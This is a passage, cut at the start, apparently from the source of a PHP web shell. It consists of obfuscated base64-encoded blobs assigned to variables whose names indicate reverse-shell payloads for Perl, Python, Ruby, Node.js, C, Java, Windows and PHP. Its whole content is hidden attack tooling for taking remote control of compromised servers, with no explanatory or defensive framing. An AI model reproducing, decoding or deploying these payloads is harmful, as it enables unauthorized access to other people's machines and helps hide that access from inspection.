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";
$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
$s_rs_win = "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfbae/+x9zphG9UACgAAtJZhGAAqga9EBf57kmnZwLraALiud9+mEhF63yZqK1cCisTCBDGDD7IYAoEQApkcUCwVgFwBGBAeCfKFbI4zgaBvO5ODHggAoQgUYE+zCPtP3h6AiMIhkN4AqFVIWhYBgHrfzISFM9VN48ivdSNm6v+NSmdivpq1BM7opN9x0h8Xoc1HQQD/47SWHu3624foDwUh/7a/PVo/t/8s47f1z/q7H/Wrn/vviyuc8SH/za/Bw9nVa3pyG4IeUp9qnPRJj3lrQx4bAMQGWg/tqdgigPDWOBheq3gnH8AWjTCoQBvcE68m9g5W1BMiSZ4taFu64aw+BGBINqgZTKpBY/R4aIO9qsCRFu2cigD+EH/KllQEutq2YNFoOsYDqNWUP9A1wc8f08W6kS4VYYcT4VfknAbpSsJ1pbGtu4KExznKe1+MZ9SMYAibzW4qfRTo5V++bBxAF62KANMUTXNvKywmJqphA0MLpWXPle9CFir9Sfay/MBq3j0j16tCa3d6vxAGVNACAJ5iDVebViN/go2fMMYAC7Xq+oJ3u8juL6wRLt3CinGyMhBbj/A9YNiQtNRXpSs+MWT5alWNh6X9cmyNSRec/kQ+iSBmw4TZxJwLGLeGT7UvvshvkzfFNKJph6ENvkd1zX0PTX2pei19o7nhq4O9AgX6WhrdX19jqUagIUkkVEq+NSTAqBLL2iv7Yc3pKygz1wm3zv5tRF8cZmlqzZoD2QLQVO3Xv5nV4Yh1aV7n0nmAkNjvH4ZQtnra2WDEDHMc7u41azE2p1OqL+7/og4zHTeFNENqYH/Zz5avjYkBSoIjkNMGuV0GqFbNV1JtI+C50QSqn6Fjre9zn7ez9ezcb7Y1VY4/fDn1WfPPcPz69esiK/fO2rXM69cdyU/GTN0DD1tLaoSKRlVBcn4VZpm/4vWHiyfiJa9bcoxIBL00tEdiqvN8GXpzkIKck+9n9nqH3DduLyKDXBTwitSlaI7fPzoYBurU+bjSVDl9n0uWPnA2Pdygh1/khxow81u0HEnc3xtDBjAiXbNeEh67alfbUcaqAL9whURCHMy5Phg/qDFtuD24G/Kqz+gYzCke7EUr16vv19YS+1YAs1OV/PIFXfEtHiuIFc2Poq99021Bibd8qdw4NBZ/7uXGFy1Pl+anH7XAc5Hn9V3mpCViltqOrEYeLOgruNToPnGfOa64UYq9SsS5xxEzXVXc1kr741dj3ysoQsdt7zqMhrCN/Y+NSHb3DD2Hfl2wSRTc5dnowBe+Hj6uVEWpbtBLrSY+XNh8L3DOF3hP/Up9ZQRe6a5o+VCMaH0Tg70ycBJ95/JZzzTTuc2FhnDgkQPvX+yNOtIahR7mJalD//nlXHqxxjCNX1ll/m07Ym1B4JNoaRelt6kM2dPLRSMMA7xw5+53VO1wvDRaMnE2NXngUYhivDmbsHMzZrD6LDeP088aSrb+51nzYi5/WINhF//AzRsBBpxP28Zeo5lcRlsetr2UttsruMkWRFmYYhal2rDVJASm/h/bN+pG2VNMZyMLCgSnPPWw/c9DiJsPvazvTOpvIao4Y5u2xLY1rhq1bKrlm/D2dNTZnx7+8P2B3isjazfvFPoBxNLd+49NGRYHN50cPZ7dtoRNcoUuHTMYJyRCJIPbskoq25eSUj4See38sCvgCLSC8nx7W5BmkN0I2c1DUp7FqUlwZK6uK5VgNO+YxfVH54Yd50N7lwbk32wPdokuo5xbrP/ldT9nuL90IblFRwzUN4FwCfWBBrEi14pY3tS7D64dyRjK7oRCiuZn7qZ+h1VtQciWjQjrP8+Vmmh0svc4+eeiKPh/+WvMZenPY8u6+U8tiXsCnwc0QO+avTqaK1DfSBCaM64d5++ll2RbLzXDVJppLE6ibtvcrj6Gtewj8amT8iZ5OlZHiv/RwvyF/nUhBZ5vyjwJY1zZapou6G2hlWaOnuRAXTO2PcWWr2l6y7bOz48O/Qa3+FUFrpleoF/g1v4DjvKd24cdtr8SzwQfK5djhEKD8WZEj5yAtzdZxCMm/pSCQ040WsoWGszbnaaLBhBYZHrwBxtS1ls0OH5LmDp5yIEqewdKnZ/Ltvvqpg28f5VomULgJdt4UyH9LKKdcGgNflNMk0zSbGqbl4ADEI/3B3+ulx/LVsSMRUknFc8U6Z8UD6UEZfTW7nKS0kCJH/BraF0V0jOW8g/Yhnf5x+V2iZSu1IuDj8pvOKCTbBf20ozieLS6J25Ug1bErdCYuxBpMdYgyKXNo4M0QN27O+iQ5sgJrF9/7KB+8V3PVk/vz8XR4cu9xkhj3qqbdrB9Ecn1eZdk9G3Po2uvVnZ21lU20Kyc0FkYi6mkqRHHOxkvDXA1szPslb4YibIezoGlVspvbuuNS8kNrbRJepJypOYeVh2rNOrGZ8ZmQ0uyppwkeXW5ivSecjjavAqdjxhRklBG8qbPa4sSanTufLygH7pQ3P1sIuxB+36HjHp5KhYRvrO8qoQVYeKGtyPKK+B9llfWaTys5R9BKBWNhVLrKgajHR7qkrp7IT8jQWT4Tw/w0T56W5S476PfdndGxowgfnFR+khrD5EGrgwNn01e5XBHRVlCrTqhWtt7in1wMFFT50TKtqQgMKM3iIUo7yRjdO7Q4LNHWXeYsDviY1+vpsSgdOP4QbhWDdSfLzqssR/IOG4iZC1d14VX0c9TQWMcKVtFIPW3ycsf8vnJSz9UWo7ZlEzBuTmX62uFF4xUngXEYXi2fAgtf7S9Kb5FOk5st7gz6nebtGpTa1RQc6KfiwJrNjie4Y9QknPcJqUjB1yuHzAnYPNAOjKpuVHOI4JtmqxDoXxv05qL4/COT4o1GY1jcUgkZF/XPn9DA/qEcJmR7KPevLvx5eA5LHhqrn78QDfkM1vRDq0gH+GIUquHd0lJGgqFlN3wEHLuzMgqv4Xw5+lJ+zRziBTvS1mdPH1DS+not7rW0l/KSaNR8yD6uEedrCGHuAdCP5c+cZbvy+uyVUP4R9hlRYgmHAZDF2yYF136slbF+NS0pj/QJb3xh8RUaJwhPZN5p95KL8e/8+cNDz3pYKUujxp88PE10VDL47irIXYxV7JPdx1P83UMTmtf++BTk5t+eJzG4OK43ojPy8GYyVVZj96slC2hnVM8IGKq8fwpuTddOu/KZEmBzubX6kM0Was5cwM6xQZNo4zZ7fsla+BexemqM6U0xfN5SYok68D6qw78OtnCOf9ql0dNZa+J/+7Bq8tgwgCd0lSF889Meno98EILCtfib6q0CF9drmvvGozlVROXvtINLbTqvLEuJkeqczWzv2K+Fep1sOKlzZ19CLOf5G/B9ebGX+SNtD0kn5HhhYkXfMQdTQ7nn+9H7414Dez6dnB5XKlPE0RNFsxDhV4KcLV+sy7XeJl+4AZjb+XbdseT2FDKdyeymlbTNhJpmng1LiW5Q9Pudox+htbS2LnmE3bH/oLM4VKxcVY/Rq4HOJGTNA77z1ZU3yIpXtxTYm/SjeVp72aFtzIw7fcM3FvBrj4ssxe0Cx9jfEIz8ykpox0MgDnAmNSa5KV78rUSX3i9WCvdz1/K1srWw8dvVmoHUL1XNu2zlRc37cPeLDrYg3ePhkwKS1+IkDchkpHhUMN7SRqlk9axDICtzy88CEREhkW2f4HhSCCCwxdCHDCSI07ksjgSMIwhYCTgZV6gqfVC9FyqLup86/xeOGgNgsdlJrC2xUqcd2vj2DweELsyMTaCk8CVQByxP48hkXAkRMdKcv5mL1MjVObU8ClnZxektjuAuHyOi8hByhY6iTnwIDzFE7KcWdbruGJIyuCtkYakgPYMNlvsaN4BD4ILmCgJdydHGG/PdHAIQi5OnFq8h+Xk6YxwcznCMoIrYKILSyiI5ya4cD28F+NSEvhcQYKTZCsD5g8I+WwnNgNiiFxjFoBz/YVSHlvYCY8L7CDQHBJzOYkcUMA4BYrAIP/U1AfV/lHgYhBECflz5eOl9d2OTsuOg76+hbGxXEBZgI91iA1kCyuivewlfDxr69zdw6vZgsmdgJNlaMhy/4lBGN4QFBayOsgpMNgpKiDMzSlyZejKOVHBEU6zycZxY+s93I8V63/LM+oF1shKOUcsqCVx6HjHc6VtFFQAc+Njz7DHvIx9lxrullTx2pl2Qx9ReNYcLei5YHFwNG/anKE+W9d1f7wsrHecFaTLRs1eMG32XEHfyPwtOlmWe9C50zMsr7ikkr2qkZt3dns76lXfyJdOz/tlWI4paO/OGY5iLFqIssHNj4wDfMsCX5DjtN1Y3ElS9BFUSxyKrlOOBE4gzzjqHYfvwmWyNQgam02DhHyav5jDgDh0sbA0aROgJyEGJnMhwlh6xyb8Cq7ALogD6a3mV1ybxSD44/kMq1BWp/WluaRQhgQKFC8RE8K6cc8+C9lSHifYhme9NkmcgfuYuoEYCTG+EYUI4oV8Ie0hGJmSyw/g2rDKKs7WcMUp8ZHSCI4AMv78rNlqrWDrBnbJDyKIKxRcrpp9/QKvxYJM2uyF26Z7QAJ5bUimtRGLMN+HYSfPRfvzhBIO9nO8//GLhuTqcNGuMGxlZqS/LbEUDGizpBnqnCxI94fEvGDxDyabZkvuD2ROjPkamECpqCXvJaKN5eHXfHy/L2uNjU2BXiYtIvO4jgkSAxGy8Vb5M7lHl4AQzxfsFLq85thLYhkiQyhFRNz1Ps/maRx2y/P7eZtEGAemjpdB/YepAWcfBlNox4AwQq4mbxFOL37OwUMsbN2igJNZvF8wHD5LlHI/vnOLhJtwgHeulhyx3ih+32AkLRLc7oDr+faFNxTGKl7NlDS+Zz5kSezwuYJCszMVzm+2mkDMlCaD7oEy2VYBT/cXHvMia3BYI9kqhdjCJD1tj/0Udt2ZEorQ0TbZc79219sFYR+0HTYZRGJIhiSbM6Jr51ypOJNrTRY7It9QRHhR3bUOhwVWVBKG5L7TxppACtbN7yh5s9C5GMJgZ6nPuGxaTL6dR49z7pjY5ZM+jn5iavfjqdoYqmmDs9i+AUFK+Hgg325OHNWZWXXycgwYrqbLHML7X2EPcc3jzidZkOXoRW4PpltVQ0ANAPDvPWpcnbGMCqjqNPtheL0Gp87VXbEHE4TolGKUVvKhT4ad4sHK6Xb9D4hhA6JTMizVm1ElvW5t8j6UmHCrB6uNlo/AEKT48Y/+bX9SpCDtL8Y/JZPfQmZ9Bj7AsPwRQkV2kX/+lEjMRS7XFhUinehnwTCsViLljWgFRt6Clvejk35BPOwP1cJbFBNVcm03Xto3WiI1kfkhpBNKTPytPuytBtKu2w6TiJGLmp9VdUAcACgxeg0QRRmLVmW7Tm8H4gNd3oKFj7K130dyMUHYBqhL8ev64NGStfDRrVpQ645RoORNaM0b+GiyFlCW8LRSm20Ehmum/wHQo7ahI9fDT1W7T2u3SwZmyuLsM6PpUfRpMJqhCrCVbQN8bks/ygdk/ZgsGAb+n/6v0/FCAGAX/hn7XqvL/oKVafU9f8Fqtbq68L/O26rFn2n5vZbHtYwuAoBZRV9t4MzoPDN6zoyrAiNWB4Z6uDsHhIYCtIB1NHrIjMKXJLLEkPP082J9pHvsDAoAoUIGO5TLFDPEKTQA0N4/2quJpb2sxByJBABmnhJaDOKwoN91Gk/70vhdWyHmcLSZpm+y6eDfAoFwEUcw8/TR5o3lCpkAwOQK2P87zvzf";
$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDv